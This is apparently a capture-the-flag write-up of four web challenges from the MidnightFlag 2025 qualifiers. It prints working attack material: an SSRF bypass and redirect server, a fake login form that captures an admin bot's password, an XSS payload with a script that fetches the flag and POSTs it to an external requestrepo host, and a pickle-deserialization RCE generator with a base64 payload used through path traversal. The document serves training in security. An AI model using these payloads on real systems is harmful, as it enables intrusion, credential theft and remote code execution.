https://github.com/MidnightFlag/qualifiers-challenges-2025/tree/master/Web
# Disparity
We need to get SSRF to the backend to get flag.
```
<?php
ini_set("default_socket_timeout", 5);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
die("/url.php is only accessible with POST");
}
if (!isset($_POST['url']) || strlen($_POST['url']) === 0) {
die("Parameter 'url' is mandatory");
}
$url = $_POST['url'];
try {
$parsed = parse_url($url);
var_dump($parsed);
} catch (Exception $e){
die("Failed to parse URL");
}
if (strlen($parsed['host']) === 0){
die("Host can not be empty");
}
if ($parsed['scheme'] !== "http"){
die("HTTP is the only option");
}
// Prevent DNS rebinding
try {
$ip = gethostbyname($parsed['host']);
} catch(Exception $e) {
die("Failed to resolve IP");
}
// Prevent from fetching localhost
if (preg_match("/^127\..*/",$ip) || $ip === "0.0.0.0"){
die("Can't fetch localhost");
}
$url = str_replace($parsed['host'],$ip,$url);
// Fetch url
try {
ob_start();
$len_content = readfile($url);
$content = ob_get_clean();
} catch (Exception $e) {
die("Failed to request URL");
}
if ($len_content > 0) {
echo $content;
} else {
die("Empty reply from server");
}
?>
```
> front_end - url.php
```
<?php
if ($_SERVER['HTTP_HOST'] === "localhost:8080"){
echo getenv('FLAG');
} else {
echo "You are not allowed to do that";
}
?>
```
> back_end - flag.php
We need to bypass the `preg_match` localhost ip check. Here we can see that the code uses `parse_url` function to separate the `scheme` and `host`. But according to the [php documentation](https://www.php.net/manual/en/function.parse-url.php).

So this function is possible to bypass using the url `http://localhost:8080:80/flag.php`

The host is consider as `localhost:8080`, then the `gethostbyname` function leave as it is. Therefore after `str_replace($parsed['host'],$ip,$url)`, it is still `http://localhost:8080:80/flag.php`. Finally, the `readfile` function only consider `http://localhost:8080/flag.php` and fetch the flag.
### Unintended
We can use an external redirector such as httpbin https://httpbin.org/#/Redirects/get_redirect_to to redirect to `http://localhost:8080/flag.php`. Or we can host own flask server.
```
from flask import Flask, redirect, request, Response
app = Flask(__name__)
@app.route('/')
def ssrf():
headers = {
'Location': 'http://localhost:8080/flag.php'
}
return Response('', status=302, headers=headers)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
```
# postplayground
In this challenge, we need to get admin password in order to access `/api/flag`.

We can see that in the route `/bot`, the admin bot will go to the url base on `origin` header, so it's easy to make a simple html to steal password of admin.
Create a file `login` in requestrepo.
```
<html>
<form action="/creds" method="post">
<input type="text" name="user" id="username">
<input type="text" name="pass" id="password">
<input id="submit" type="submit" value="Submit">
</form>
</html>
```
Change origin to requestrepo.

Got the admin password.

# postplayground_revenge
In this challenge the url had hard fix to `http://127.0.0.1:3000`, so we need to find a xss sink.

We find that `render_frame.js` is use to handle varibles, take a look at `parseAndExec` function, the `exec_frame` postMessage to somewhere.

In `render_frame.html`, we found the `exec_frame` function.

```
<script>
function matchAndExtract(match, url) {
var rx = new RegExp(`{{${match}}}`,"g");
var arr = rx.exec(url);
return arr !== null ? arr[0] : false;
}
function templateUrl(url, variables){
let src = `let url = "${url}";\n`;
for(const key in variables) {
if(matchAndExtract(key, url)) {
src += `url = url.replace("{{${key}}}","${variables[key]}");\n`;
}
}
var mask = {};
for (p in this)
mask[p] = undefined;
src += "return url;"
return (new Function( "with(this) { " + src + "}")).call(mask);
}
function sanitizeUrl(url) {
return url.replaceAll('"',"").replaceAll("`","");
}
window.addEventListener("message", async (event) => {
let url_to_fetch = "";
if(typeof(event.data) === "object" && typeof(event.data.vars) == "object" && event.data.vars.url !== undefined && event.data.vars.originUrl !== undefined) {
let url = sanitizeUrl(event.data.vars.url);
if(typeof(event.data.vars.variables) === "object") {
if(url.includes("{{") && url.includes("}}")) {
url_to_fetch = templateUrl(url, event.data.vars.variables);
} else {
url_to_fetch = url;
}
} else {
url_to_fetch = url;
}
}
if(url_to_fetch) {
let fetch_options = {
method: "GET",
headers: {}
};
if(event.data.vars.method !== undefined && typeof(event.data.vars.method) === "string") {
fetch_options["method"] = event.data.vars.method;
}
if(fetch_options["method"] != "GET" && event.data.vars.body !== undefined && typeof(event.data.vars.body) === "object") {
fetch_options["body"] = event.data.vars.body;
}
if(event.data.vars.headers !== undefined && typeof(event.data.vars.headers) === "object") {
fetch_options["headers"] = event.data.vars.headers;
}
let fetch_res = await fetch(url_to_fetch, fetch_options)
.then(async (resp) => {
return {"status":true, "result": await resp.text()};
})
.catch((err) => {
return {"status":false, "err":err};
});
window.top.postMessage({"action":"result","vars":fetch_res}, `http://${event.data.vars.originUrl}`);
} else {
window.top.postMessage({"action":"result","vars":"Something wrong happend."}, `http://${event.data.vars.originUrl}`);
}
});
</script>
```
In the `templateUrl` function, we found we can control the `variables`, obviously this is the sink we want to find.

We need to use `globalThis` to bypass the sandbox.
Create varible with varible name `xss` and value is `x");globalThis.alert(1)//`

And the url `http://test/{{xss}}` is use to trigger template function.

Now, we have successfully identify the xss sink. But the xss is in `static1.midnightflag.fr` subdomain, we need to find a way to bypass SOP to get flag in `chall.midnightflag.fr` subdomain. Analyze further, in `main.js` we found

It's does not check the origin. And `event.data` is posted to

A list of action, but the most interesting one is

Therefore, we have an idea that we will abuse the xss sink found earlier to post `load_scripts` event. We put a js in requestrepo to fetch the flag. We can use `@` to bypass `location.origin`.
Payload: `x");globalThis.window.top.postMessage({"action":"load_scripts","vars":{"srcs":["@mk2r7rg4.requestrepo.com/"]}},"*");//`
On requestrepo
```
###TO_EVAL###
fetch('http://localhost:3000/api/flag').then(r=>r.text()).then(b=>fetch('http://mk2r7rg4.requestrepo.com/leak',{method:'POST',body:b}));
###EOF_EVAL###
```
# futurupload
In this challenge, we need to perform path travelsal to overwrite flask session in order to achieve RCE.
### path travelsal
In the `/upload` route, we find that, the os.path.join does not contain `filename` parameter `full_folder = os.path.normpath(os.path.join(base_path, folder))`. So it's possible to inject `../` to `filename`.

We dive into mimetypes library, we found `data` scheme

We have the payload for `filename` like `data:image/jpeg,/../../../../../app/user_files/xxx`
### rce
Look into [flask](https://github.com/pallets-eco/flask-session/blob/41e2771055e1e533da6cdb84efea68751d0fe618/src/flask_session/sessions.py#L326), this is the class to handle file-based flask session
It uses the cachelib library.


In the [cachelib](https://github.com/pallets-eco/cachelib/blob/18bb52cc29a07f7f0d7992d682d769f3497851b4/src/cachelib/file.py#L203)

the [serializers](https://github.com/pallets-eco/cachelib/blob/main/src/cachelib/serializers.py)

In general, if the session file contain first 4 bytes `\x00\x00\x00\x00`, it will pickle deserlize the session file.
So far, the game is ez, we can trigger rce using.
```
import pickle
import base64
def gen(command):
class Exploit:
def __reduce__(self):
return (exec, ("__import__('os').system('{}')".format(command),))
Pickle = Exploit()
return pickle.dumps(Pickle)
payload = b"\x00" * 4 + gen('')
print(base64.b64encode(payload).decode('utf-8'))
```
# Exploit
We can see the `__wz_cache_count` is always in file-based flask session folder https://github.com/pallets-eco/cachelib/blob/9a4de4df1bce035d27c93a34608a8af4413d5b59/src/cachelib/file.py#L50

Then it gets md5 hash so it save as `2029240f6d1128be89ddc32729463129` in `flask_session` folder
Create folder `data:image/jpeg,` and `xxx`


Use this to generate pickle payload
```
import pickle
import base64
def gen(command):
class Exploit:
def __reduce__(self):
return (exec, ("__import__('os').system('{}')".format(command),))
Pickle = Exploit()
return pickle.dumps(Pickle)
payload = b"\x00" * 4 + gen('/getflag>/app/user_files/xxx/flag.txt')
print(base64.b64encode(payload).decode('utf-8'))
```
Exfiltrate

```
folder=x&filename=data:image/jpeg,/../../../../../app/flask_session/2029240f6d1128be89ddc32729463129&content=AAAAAIAElYQAAAAAAAAAjAhidWlsdGluc5SMBGV4ZWOUk5SMaF9faW1wb3J0X18oJ29zJykuc3lzdGVtKCdlY2hvIGxtYW8gPiAvYXBwL3VzZXJfZmlsZXMvZjkxZDlkYzUtMTc0OC00M2E5LWI1ZGMtZTQ3NGI4ZTY1YWNjL3h4eHgvZmZmLnR4dCcplIWUUpQu
```
Then navigate to xxx folder to retrieve flag.